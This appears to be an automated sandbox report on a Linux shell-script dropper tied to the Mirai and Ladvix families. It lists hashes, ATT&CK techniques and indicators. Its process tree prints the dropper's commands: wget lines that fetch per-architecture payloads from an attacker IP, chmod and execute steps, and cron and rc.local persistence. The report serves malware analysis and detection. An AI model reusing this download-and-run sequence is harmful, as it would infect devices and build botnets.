ladvix | 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48

Analysis

max time kernel
133s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/05/2026, 15:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wawan.sh
Size 2KB
Sample260511-tdtymsht9l
SHA256 7e7660fa660009fc95dd10651842635bb480f43a50d4c543c9db86c894027a48
MD5 d626e72ea627ddfeffe2e62efbc81fc4
SHA1 897b56af1b535d6cb31ab06b2d153b7ad9ea94ac
SHA512 a39a6ec3cf89ef8dc5d73d68e426bed47610ac962dd315c5989caa1c4f739154ecf3f505165227b9a941e0eaadba584f0a68faee0bdbb4a27e03029552f705df
TLSH
T1D3513CD15F2080622F3C48D571FCC351085BDBAE2721296EBC2568393ECF955E3BBAA1
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery execution ladvix mirai infector persistence privilege_escalation trojan upx

Malware Config

Extracted

Family

mirai

terrabot.qzz.io

Signatures

Family: Ladvix
Ladvix is a linux trojan and file infector first seen in 2022.
trojan infector ladvix
Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

ladvix 2 IoCs

Detects Ladvix payload

resource	yara_rule
behavioral1/files/fstream-12.dat	ladvix
behavioral1/files/fstream-14.dat	ladvix

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1576	chmod
1554	chmod
1558	chmod
1580	chmod
1588	chmod
1537	chmod
1550	chmod
1569	chmod
1572	chmod
1596	chmod
1600	chmod
1562	chmod
1584	chmod
1592	chmod
1604	chmod
1533	chmod
1543	chmod

Executes dropped EXE 42 IoCs

ioc	pid	Process
/tmp/023782pler.x86	1544	wawan.sh
/tmp/file3dR8yM	1609	023782pler.x86_64
/tmp/file9CLc1w	1610	file3dR8yM
/tmp/filensMmqi	1611	file9CLc1w
/tmp/fileOxurc8	1612	filensMmqi
/tmp/fileRH9zmT	1613	fileOxurc8
/tmp/fileApGtPB	1614	fileRH9zmT
/tmp/filei3zoSu	1615	fileApGtPB
/tmp/filegU5Cb9	1616	filei3zoSu
/tmp/filegGDx6Q	1617	filegU5Cb9
/tmp/fileCDNf8y	1618	filegGDx6Q
/tmp/file3dBVgq	1619	fileCDNf8y
/tmp/filetTuyt8	1620	file3dBVgq
/tmp/filedWkp3P	1621	filetTuyt8
/tmp/fileuCInyJ	1622	filedWkp3P
/tmp/fileUlGr4u	1623	fileuCInyJ
/tmp/filebxupT8	1624	fileUlGr4u
/tmp/filegX109U	1625	filebxupT8
/tmp/file4MOwGN	1626	filegX109U
/tmp/filew7uxnv	1627	file4MOwGN
/tmp/fileAzeNOf	1628	filew7uxnv
/tmp/filexrje07	1629	fileAzeNOf
/tmp/filevGIXBT	1630	filexrje07
/tmp/file40sSrB	1631	filevGIXBT
/tmp/file9DjYjn	1632	file40sSrB
/tmp/fileHjYiaf	1633	file9DjYjn
/tmp/filemhRpCX	1634	fileHjYiaf
/tmp/filelvIgGE	1635	filemhRpCX
/tmp/fileHSftEx	1636	filelvIgGE
/tmp/fileBqV0Yi	1637	fileHSftEx
/tmp/filehEg2x4	1638	fileBqV0Yi
/tmp/file2gWNLO	1639	filehEg2x4
/tmp/fileihuhbI	1640	file2gWNLO
/tmp/filee7RxCo	1641	fileihuhbI
/tmp/fileXs31pa	1642	filee7RxCo
/tmp/fileOmtorS	1643	fileXs31pa
/tmp/fileiR3XXK	1644	fileOmtorS
/tmp/fileOBrQgt	1645	fileiR3XXK
/tmp/fileyBMkta	1646	fileOBrQgt
/tmp/filett3Di4	1647	fileyBMkta
/tmp/fileV1QrlP	1648	filett3Di4
/tmp/fileLpHe7w	1649	fileV1QrlP

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	023782pler.x86
File opened for modification	/dev/misc/watchdog	023782pler.x86
File opened for modification	/dev/watchdog	023782pler.i686
File opened for modification	/dev/misc/watchdog	023782pler.i686

Creates/modifies Cron job 1 TTPs 42 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.hourly/0	file3dR8yM
File opened for modification	/etc/cron.hourly/0	fileCDNf8y
File opened for modification	/etc/cron.hourly/0	filebxupT8
File opened for modification	/etc/cron.hourly/0	filexrje07
File opened for modification	/etc/cron.hourly/0	file9DjYjn
File opened for modification	/etc/cron.hourly/0	filehEg2x4
File opened for modification	/etc/cron.hourly/0	filee7RxCo
File opened for modification	/etc/cron.hourly/0	fileOxurc8
File opened for modification	/etc/cron.hourly/0	filedWkp3P
File opened for modification	/etc/cron.hourly/0	fileAzeNOf
File opened for modification	/etc/cron.hourly/0	fileihuhbI
File opened for modification	/etc/cron.hourly/0	fileApGtPB
File opened for modification	/etc/cron.hourly/0	filegGDx6Q
File opened for modification	/etc/cron.hourly/0	file3dBVgq
File opened for modification	/etc/cron.hourly/0	fileUlGr4u
File opened for modification	/etc/cron.hourly/0	filegX109U
File opened for modification	/etc/cron.hourly/0	fileV1QrlP
File opened for modification	/etc/cron.hourly/0	filensMmqi
File opened for modification	/etc/cron.hourly/0	file4MOwGN
File opened for modification	/etc/cron.hourly/0	filew7uxnv
File opened for modification	/etc/cron.hourly/0	file40sSrB
File opened for modification	/etc/cron.hourly/0	filei3zoSu
File opened for modification	/etc/cron.hourly/0	filegU5Cb9
File opened for modification	/etc/cron.hourly/0	filevGIXBT
File opened for modification	/etc/cron.hourly/0	fileHjYiaf
File opened for modification	/etc/cron.hourly/0	fileHSftEx
File opened for modification	/etc/cron.hourly/0	fileOmtorS
File opened for modification	/etc/cron.d/bot	wawan.sh
File opened for modification	/etc/cron.hourly/0	filetTuyt8
File opened for modification	/etc/cron.hourly/0	fileuCInyJ
File opened for modification	/etc/cron.hourly/0	filemhRpCX
File opened for modification	/etc/cron.hourly/0	fileBqV0Yi
File opened for modification	/etc/cron.hourly/0	fileXs31pa
File opened for modification	/etc/cron.hourly/0	fileOBrQgt
File opened for modification	/etc/cron.hourly/0	filelvIgGE
File opened for modification	/etc/cron.hourly/0	file2gWNLO
File opened for modification	/etc/cron.hourly/0	fileiR3XXK
File opened for modification	/etc/cron.hourly/0	fileyBMkta
File opened for modification	/etc/cron.hourly/0	filett3Di4
File opened for modification	/etc/cron.hourly/0	file9CLc1w
File opened for modification	/etc/cron.hourly/0	fileRH9zmT
File opened for modification	/etc/cron.hourly/0	023782pler.x86_64

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	wawan.sh

Writes file to system bin folder 5 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	023782pler.i686
File opened for modification	/bin/watchdog	023782pler.i686
File opened for modification	/bin/ls	023782pler.x86_64
File opened for modification	/sbin/watchdog	023782pler.x86
File opened for modification	/bin/watchdog	023782pler.x86

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-8.dat	upx
behavioral1/files/fstream-9.dat	upx
behavioral1/files/fstream-14.dat	upx

Reads runtime system information 51 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	filei3zoSu
File opened for reading	/proc/self/exe	fileCDNf8y
File opened for reading	/proc/self/exe	filew7uxnv
File opened for reading	/proc/self/exe	filensMmqi
File opened for reading	/proc/self/exe	fileApGtPB
File opened for reading	/proc/self/exe	fileAzeNOf
File opened for reading	/proc/self/exe	file9DjYjn
File opened for reading	/proc/self/exe	fileV1QrlP
File opened for reading	/proc/self/exe	fileLpHe7w
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/2/status	023782pler.x86
File opened for reading	/proc/self/exe	filetTuyt8
File opened for reading	/proc/self/exe	filegX109U
File opened for reading	/proc/self/exe	file40sSrB
File opened for reading	/proc/self/exe	fileHjYiaf
File opened for reading	/proc/self/exe	fileihuhbI
File opened for reading	/proc/self/exe	fileOmtorS
File opened for reading	/proc/2/status	023782pler.i686
File opened for reading	/proc/self/exe	filexrje07
File opened for reading	/proc/self/exe	filelvIgGE
File opened for reading	/proc/self/exe	file9CLc1w
File opened for reading	/proc/self/exe	fileRH9zmT
File opened for reading	/proc/self/exe	filedWkp3P
File opened for reading	/proc/self/exe	file4MOwGN
File opened for reading	/proc/self/exe	filevGIXBT
File opened for reading	/proc/self/exe	fileiR3XXK
File opened for reading	/proc/self/exe	fileOBrQgt
File opened for reading	/proc/3/status	023782pler.x86
File opened for reading	/proc/3/status	023782pler.i686
File opened for reading	/proc/self/exe	filegGDx6Q
File opened for reading	/proc/self/exe	fileUlGr4u
File opened for reading	/proc/self/exe	filebxupT8
File opened for reading	/proc/self/exe	fileBqV0Yi
File opened for reading	/proc/self/exe	file2gWNLO
File opened for reading	/proc/self/exe	filett3Di4
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/status	023782pler.x86
File opened for reading	/proc/self/exe	filegU5Cb9
File opened for reading	/proc/self/exe	file3dBVgq
File opened for reading	/proc/self/exe	filemhRpCX
File opened for reading	/proc/self/exe	fileHSftEx
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/exe	023782pler.x86_64
File opened for reading	/proc/self/exe	fileOxurc8
File opened for reading	/proc/self/exe	fileuCInyJ
File opened for reading	/proc/self/exe	filehEg2x4
File opened for reading	/proc/self/exe	filee7RxCo
File opened for reading	/proc/self/exe	fileXs31pa
File opened for reading	/proc/self/exe	fileyBMkta
File opened for reading	/proc/1/status	023782pler.i686
File opened for reading	/proc/self/exe	file3dR8yM

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1551	023782pler.mips
1545	wget

Writes file to tmp directory 63 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/023782pler.spc	wget
File opened for modification	/tmp/fileLpHe7w	fileV1QrlP
File opened for modification	/tmp/023782pler.x86_64	wget
File opened for modification	/tmp/023782pler.arm5	wget
File opened for modification	/tmp/filew7uxnv	file4MOwGN
File opened for modification	/tmp/filevGIXBT	filexrje07
File opened for modification	/tmp/fileXs31pa	filee7RxCo
File opened for modification	/tmp/curl	cp
File opened for modification	/tmp/file3dR8yM	023782pler.x86_64
File opened for modification	/tmp/filegGDx6Q	filegU5Cb9
File opened for modification	/tmp/filetTuyt8	file3dBVgq
File opened for modification	/tmp/fileHSftEx	filelvIgGE
File opened for modification	/tmp/file2gWNLO	filehEg2x4
File opened for modification	/tmp/terrabot.sh	023782pler.x86_64
File opened for modification	/tmp/fileRH9zmT	fileOxurc8
File opened for modification	/tmp/filedWkp3P	filetTuyt8
File opened for modification	/tmp/filegX109U	filebxupT8
File opened for modification	/tmp/fileV1QrlP	filett3Di4
File opened for modification	/tmp/fileOmtorS	fileXs31pa
File opened for modification	/tmp/fileiR3XXK	fileOmtorS
File opened for modification	/tmp/filett3Di4	fileyBMkta
File opened for modification	/tmp/wget	cp
File opened for modification	/tmp/023782pler.arm6	wget
File opened for modification	/tmp/filei3zoSu	fileApGtPB
File opened for modification	/tmp/filexrje07	fileAzeNOf
File opened for modification	/tmp/filehEg2x4	fileBqV0Yi
File opened for modification	/tmp/023782pler.x86	wget
File opened for modification	/tmp/023782pler.arm	wget
File opened for modification	/tmp/fileCDNf8y	filegGDx6Q
File opened for modification	/tmp/file40sSrB	filevGIXBT
File opened for modification	/tmp/filemhRpCX	fileHjYiaf
File opened for modification	/tmp/fileihuhbI	file2gWNLO
File opened for modification	/tmp/fileyBMkta	fileOBrQgt
File opened for modification	/tmp/terrabot.sh	cp
File opened for modification	/tmp/023782pler.arm7	wget
File opened for modification	/tmp/023782pler.ppc	wget
File opened for modification	/tmp/file4MOwGN	filegX109U
File opened for modification	/tmp/fileBqV0Yi	fileHSftEx
File opened for modification	/tmp/filegU5Cb9	filei3zoSu
File opened for modification	/tmp/file3dBVgq	fileCDNf8y
File opened for modification	/tmp/fileUlGr4u	fileuCInyJ
File opened for modification	/tmp/filebxupT8	fileUlGr4u
File opened for modification	/tmp/fileAzeNOf	filew7uxnv
File opened for modification	/tmp/file9DjYjn	file40sSrB
File opened for modification	/tmp/023782pler.arc	wget
File opened for modification	/tmp/curl	023782pler.x86_64
File opened for modification	/tmp/wget	023782pler.x86_64
File opened for modification	/tmp/fileApGtPB	fileRH9zmT
File opened for modification	/tmp/023782pler.mpsl	wget
File opened for modification	/tmp/023782pler.sh4	wget
File opened for modification	/tmp/023782pler.mips	wget
File opened for modification	/tmp/023782pler.i686	wget
File opened for modification	/tmp/023782pler.m68k	wget
File opened for modification	/tmp/filelvIgGE	filemhRpCX
File opened for modification	/tmp/023782pler.i468	wget
File opened for modification	/tmp/filensMmqi	file9CLc1w
File opened for modification	/tmp/fileuCInyJ	filedWkp3P
File opened for modification	/tmp/filee7RxCo	fileihuhbI
File opened for modification	/tmp/fileOBrQgt	fileiR3XXK
File opened for modification	/tmp/file9A7Bri	fileLpHe7w
File opened for modification	/tmp/file9CLc1w	file3dR8yM
File opened for modification	/tmp/fileOxurc8	filensMmqi
File opened for modification	/tmp/fileHjYiaf	file9DjYjn

/tmp/wawan.sh
/tmp/wawan.sh
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Modifies rc script
PID:1530
- /bin/cp
  cp /bin/busybox wget
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1531
- /bin/cp
  cp /bin/busybox curl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1532
- /bin/chmod
  chmod +x wget curl
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /bin/chmod
  chmod 644 /etc/cron.d/bot
  2⤵
  PID:1534
- /bin/grep
  grep -q /tmp/terrabot.sh /etc/rc.local
  2⤵
  PID:1535
- /bin/cp
  cp /bin/busybox /tmp/terrabot.sh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x /tmp/terrabot.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86 http://103.31.39.234/terrabot/023782pler.x86
  2⤵
  - Writes file to tmp directory
  PID:1538
- /bin/chmod
  chmod +x /tmp/023782pler.x86
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mips http://103.31.39.234/terrabot/023782pler.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1545
- /tmp/023782pler.x86
  /tmp/023782pler.x86 023782pler.x86
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1544
- /bin/chmod
  chmod +x /tmp/023782pler.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arc http://103.31.39.234/terrabot/023782pler.arc
  2⤵
  - Writes file to tmp directory
  PID:1552
- /tmp/023782pler.mips
  /tmp/023782pler.mips 023782pler.mips
  2⤵
  - System Network Configuration Discovery
  PID:1551
- /bin/chmod
  chmod +x /tmp/023782pler.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i468 http://103.31.39.234/terrabot/023782pler.i468
  2⤵
  - Writes file to tmp directory
  PID:1556
- /tmp/023782pler.arc
  /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:1555
- /bin/sh
  /bin/sh /tmp/023782pler.arc 023782pler.arc
  2⤵
  PID:1555
- /bin/chmod
  chmod +x /tmp/023782pler.i468
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /usr/bin/wget
  wget -q -O /tmp/023782pler.i686 http://103.31.39.234/terrabot/023782pler.i686
  2⤵
  - Writes file to tmp directory
  PID:1560
- /tmp/023782pler.i468
  /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:1559
- /bin/sh
  /bin/sh /tmp/023782pler.i468 023782pler.i468
  2⤵
  PID:1559
- /bin/chmod
  chmod +x /tmp/023782pler.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /usr/bin/wget
  wget -q -O /tmp/023782pler.x86_64 http://103.31.39.234/terrabot/023782pler.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1564
- /tmp/023782pler.i686
  /tmp/023782pler.i686 023782pler.i686
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1563
- /bin/chmod
  chmod +x /tmp/023782pler.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /usr/bin/wget
  wget -q -O /tmp/023782pler.mpsl http://103.31.39.234/terrabot/023782pler.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1571
- /tmp/023782pler.x86_64
  /tmp/023782pler.x86_64 023782pler.x86_64
  2⤵
  - Executes dropped EXE
  - Creates/modifies Cron job
  - Writes file to system bin folder
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1570
- - /tmp/file3dR8yM
    /tmp/023782pler.x86_64 023782pler.x86_64
    3⤵
    - Executes dropped EXE
    - Creates/modifies Cron job
    - Reads runtime system information
    - Writes file to tmp directory
    PID:1609
  - - /tmp/file9CLc1w
      /tmp/023782pler.x86_64 023782pler.x86_64
      4⤵
      Executes dropped EXE
      Creates/modifies Cron job
      Reads runtime system information
      Writes file to tmp directory
      PID:1610
    - - /tmp/filensMmqi
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        5⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1611
      - /tmp/fileOxurc8
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        6⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1612
        
        /tmp/fileRH9zmT
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        7⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1613
        
        /tmp/fileApGtPB
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        8⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1614
        
        /tmp/filei3zoSu
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        9⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1615
        
        /tmp/filegU5Cb9
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        10⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1616
        
        /tmp/filegGDx6Q
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        11⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1617
        
        /tmp/fileCDNf8y
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        12⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1618
        
        /tmp/file3dBVgq
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        13⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1619
        
        /tmp/filetTuyt8
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        14⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1620
        
        /tmp/filedWkp3P
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        15⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1621
        
        /tmp/fileuCInyJ
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        16⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1622
        
        /tmp/fileUlGr4u
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        17⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1623
        
        /tmp/filebxupT8
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        18⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1624
        
        /tmp/filegX109U
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        19⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1625
        
        /tmp/file4MOwGN
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        20⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1626
        
        /tmp/filew7uxnv
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        21⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1627
        
        /tmp/fileAzeNOf
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        22⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1628
        
        /tmp/filexrje07
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        23⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1629
        
        /tmp/filevGIXBT
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        24⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1630
        
        /tmp/file40sSrB
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        25⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1631
        
        /tmp/file9DjYjn
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        26⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1632
        
        /tmp/fileHjYiaf
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        27⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1633
        
        /tmp/filemhRpCX
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        28⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1634
        
        /tmp/filelvIgGE
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        29⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1635
        
        /tmp/fileHSftEx
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        30⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1636
        
        /tmp/fileBqV0Yi
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        31⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1637
        
        /tmp/filehEg2x4
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        32⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1638
        
        /tmp/file2gWNLO
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        33⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1639
        
        /tmp/fileihuhbI
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        34⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1640
        
        /tmp/filee7RxCo
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        35⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1641
        
        /tmp/fileXs31pa
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        36⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1642
        
        /tmp/fileOmtorS
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        37⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1643
        
        /tmp/fileiR3XXK
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        38⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1644
        
        /tmp/fileOBrQgt
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        39⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1645
        
        /tmp/fileyBMkta
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        40⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1646
        
        /tmp/filett3Di4
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        41⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1647
        
        /tmp/fileV1QrlP
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        42⤵
        Executes dropped EXE
        Creates/modifies Cron job
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1648
        
        /tmp/fileLpHe7w
        
        /tmp/023782pler.x86_64 023782pler.x86_64
        43⤵
        Reads runtime system information
        Writes file to tmp directory
        
        PID:1649
- /bin/chmod
  chmod +x /tmp/023782pler.mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm http://103.31.39.234/terrabot/023782pler.arm
  2⤵
  - Writes file to tmp directory
  PID:1574
- /tmp/023782pler.mpsl
  /tmp/023782pler.mpsl 023782pler.mpsl
  2⤵
  PID:1573
- /bin/chmod
  chmod +x /tmp/023782pler.arm
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm5 http://103.31.39.234/terrabot/023782pler.arm5
  2⤵
  - Writes file to tmp directory
  PID:1578
- /tmp/023782pler.arm
  /tmp/023782pler.arm 023782pler.arm
  2⤵
  PID:1577
- /bin/chmod
  chmod +x /tmp/023782pler.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm6 http://103.31.39.234/terrabot/023782pler.arm6
  2⤵
  - Writes file to tmp directory
  PID:1582
- /tmp/023782pler.arm5
  /tmp/023782pler.arm5 023782pler.arm5
  2⤵
  PID:1581
- /bin/chmod
  chmod +x /tmp/023782pler.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /usr/bin/wget
  wget -q -O /tmp/023782pler.arm7 http://103.31.39.234/terrabot/023782pler.arm7
  2⤵
  - Writes file to tmp directory
  PID:1586
- /tmp/023782pler.arm6
  /tmp/023782pler.arm6 023782pler.arm6
  2⤵
  PID:1585
- /bin/chmod
  chmod +x /tmp/023782pler.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /usr/bin/wget
  wget -q -O /tmp/023782pler.ppc http://103.31.39.234/terrabot/023782pler.ppc
  2⤵
  - Writes file to tmp directory
  PID:1590
- /tmp/023782pler.arm7
  /tmp/023782pler.arm7 023782pler.arm7
  2⤵
  PID:1589
- /bin/chmod
  chmod +x /tmp/023782pler.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /usr/bin/wget
  wget -q -O /tmp/023782pler.spc http://103.31.39.234/terrabot/023782pler.spc
  2⤵
  - Writes file to tmp directory
  PID:1594
- /tmp/023782pler.ppc
  /tmp/023782pler.ppc 023782pler.ppc
  2⤵
  PID:1593
- /bin/chmod
  chmod +x /tmp/023782pler.spc
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /usr/bin/wget
  wget -q -O /tmp/023782pler.m68k http://103.31.39.234/terrabot/023782pler.m68k
  2⤵
  - Writes file to tmp directory
  PID:1598
- /tmp/023782pler.spc
  /tmp/023782pler.spc 023782pler.spc
  2⤵
  PID:1597
- /bin/chmod
  chmod +x /tmp/023782pler.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /usr/bin/wget
  wget -q -O /tmp/023782pler.sh4 http://103.31.39.234/terrabot/023782pler.sh4
  2⤵
  - Writes file to tmp directory
  PID:1602
- /tmp/023782pler.m68k
  /tmp/023782pler.m68k 023782pler.m68k
  2⤵
  PID:1601
- /bin/chmod
  chmod +x /tmp/023782pler.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1604

/tmp/023782pler.sh4
/tmp/023782pler.sh4 023782pler.sh4
1⤵
PID:1605

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

